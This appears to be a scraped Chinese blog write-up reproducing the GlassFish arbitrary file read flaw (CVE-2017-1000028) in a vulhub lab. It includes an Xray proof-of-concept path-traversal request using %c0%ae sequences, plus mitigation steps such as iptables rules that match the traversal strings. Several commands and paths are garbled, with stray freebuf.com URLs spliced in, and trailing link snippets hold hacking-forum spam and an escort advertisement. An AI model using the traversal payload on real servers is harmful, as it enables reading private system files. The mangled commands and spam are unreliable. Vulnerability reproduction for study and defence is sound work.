GlassFish 任意文件读取漏洞复现

访客4年前黑客文章351

GlassFish 任意文件读取漏洞

漏洞原理

glassfish 是一款 java 编写的跨平台的开源的应用服务器。

java语言中会把 解析为 ,最后转义为ASCCII字符的(点)。利用 来向上跳转,达到目录穿越、任意文件读取的效果。所以 glassfish 这个 poc 实际上就是//https://www.freebuf.com/articles/etc/passwd。

影响版本:

< 4.1.1(不含 4.1.1)

漏洞复现

如下测试环境借助 vulhub 的 docker 镜像,附上 P 师傅的链接:https://github.com/vulhub/vulhub?

编译、运行测试环境,本环境超级管理员密码在 中设置,默认为 ,在4848端口利用该密码可以登录管理员账户。

docker-compose up -d

环境运行后,访问 和 即可查看 web 页面。其中,8080 端口是网站内容,4848 端口是 GlassFish 管理中心。

1608813484_5fe48bac317fb634489de.png!small?1608813483816

无需登录,直接访问 ,发现已成功读取 内容:

1608813535_5fe48bdf14e8708d27904.png!small?1608813534445

POC & EXP

如下是 Xray 的 POC,其只穿越了上级目录,检测了版本信息,不涉及敏感信息,但同样也验证了漏洞存在。

name: poc-yaml-glassfish-cve-2017-1000028-lfi
rules:
  - method: GET
    path: /theme/META-INF/%c0%ae%c0%ae/META-INF/MANIFEST.MF
    follow_redirects: true
    expression: |
      response.status==200 && response.body.bcontains(b"Ant-Version:") && response.body.bcontains(b"Manifest-Version:")
detail:
  version: <4.1.0
  author: sharecast
  links:
    - https://github.com/vulhub/vulhub/tree/master/glassfish/4.1.0

1608814260_5fe48eb405664e92282ca.png!small?1608814259302

漏洞修复

1. 关闭远程管理关闭远程管理,关闭后只允许本地访问,会提示要求输入用户名和密码,开发环境或者对服务器安全要求较高的环境可以选择这么做,修改该设置后应该重启 GlassFish 服务

https://www.freebuf.com/articles/web/asadmin change-admin-password https://www.freebuf.com/articles/web/asadmin disable-secure-admin https://www.freebuf.com/articles/web/asadmin stop-domain https://www.freebuf.com/articles/web/asadmin start-domain asadmin.bat change-admin-password asadmin.bat disable-secure-admin asadmin.bat stop-domain asadmin.bat start-domain

需要注意的是,关闭远程访问只能禁用远程 login 登录,但是攻击 url 还是可以访问,任意文件读取依然存在

2. IPtables 规则

iptables -I INPUT -p tcp --dport 4848 -m string --to 120 --algo bm --string '..\%c0\%af' -j DROP  
iptables -I INPUT -p tcp --dport 4848 -m string --to 120 --algo bm --string '\%c0\%ae/' -j DROP  
iptables -I INPUT -p tcp --dport 4848 -m string --to 120 --algo bm --string 'https://www.freebuf.com/articles/' -j DROP   
//该规则无法防御HTTPS SSL方案

3. 禁用 web.xml theme 映射\glassfish4\glassfish\lib\install\applications__admingui\WEB-INF\web.xml

<!--
    <servlet-mapping>
        <servlet-name>ThemeServlet</servlet-name>
        <url-pattern>/theme/*</url-pattern>
    </servlet-mapping>
-->

重启 glassfish 后生效

参考资料

  1. https://www.trustwave.com/Resources/Security-Advisories/Advisories/TWSL2015-016/?fid=6904

  2. https://vulhub.org/#/environments/gitlab/CVE-2016-9086/





相关文章

大学生创业现状,成功率只有3%,多数人都得接受失败的现实

每一年都是会有很多学生斗志昂扬的资金投入到自主创业的惊涛骇浪中去,殊不知到最终成功人士却屈指可数,这实际上并不是什么奇特的事儿。终究中国总体的创业成功率仅有30%,而学生总体的创业成功率仅有3%。心里...

世界十大黑客刷qq币,黑客网络pp市场任务,手机怎么样的清除黑客

绑缚有寄生兽木马的网易邮箱大师程序实践来说,该脚本十分简略有用,文件中的每个元素加载完结之后,将会进行以下操作:乌克兰 依据SMS的身份验证正在下降payload += p32(shell_addr)...

外卖平台压缩骑手配送时间?饿了么、美团回应将改进

新华社北京9月9日电(记者姜琳)一篇有关“外卖平台压缩骑手配送时间,导致他们疲于奔命、违反交规”的文章,近日在网上引发了公众对外卖平台规则的广泛质疑。9日,外卖平台饿了么和美团相继作出回应,表示将很快...

马来西亚高档私拍QQ群-【周悦明】

“马来西亚高档私拍模特QQ群-【周悦明】” 漂亮美女的留言板留言普通高中职高及下列个人高档商务接待伴游预约地址部位假如您也有别的难题,热烈欢迎加微信好友,预约资询哪里可以寻找济南市兼职平面模特南宁、无...

怎么提高工作效率和质量?

怎么提高工作效率和质量?

享受完愉快假期的你,又重新回到了职场。你的新年目标里有没有一条,叫做“提高工作效率”? 无论是在工作中,还是在生活中,我们面临的最大问题就是有限的时间和无限的待办事项之间的矛盾,而克服这一矛盾最好的...

phpwind后台getshell方法

phpwind后台getshell方法

在phpwind后台上传插件处,可以上传一个包含php木马的phpwind标准格式插件安装包,并可getshell. 一、先制作一个安装包,需要包含一个manifest.xml文件和一个ph...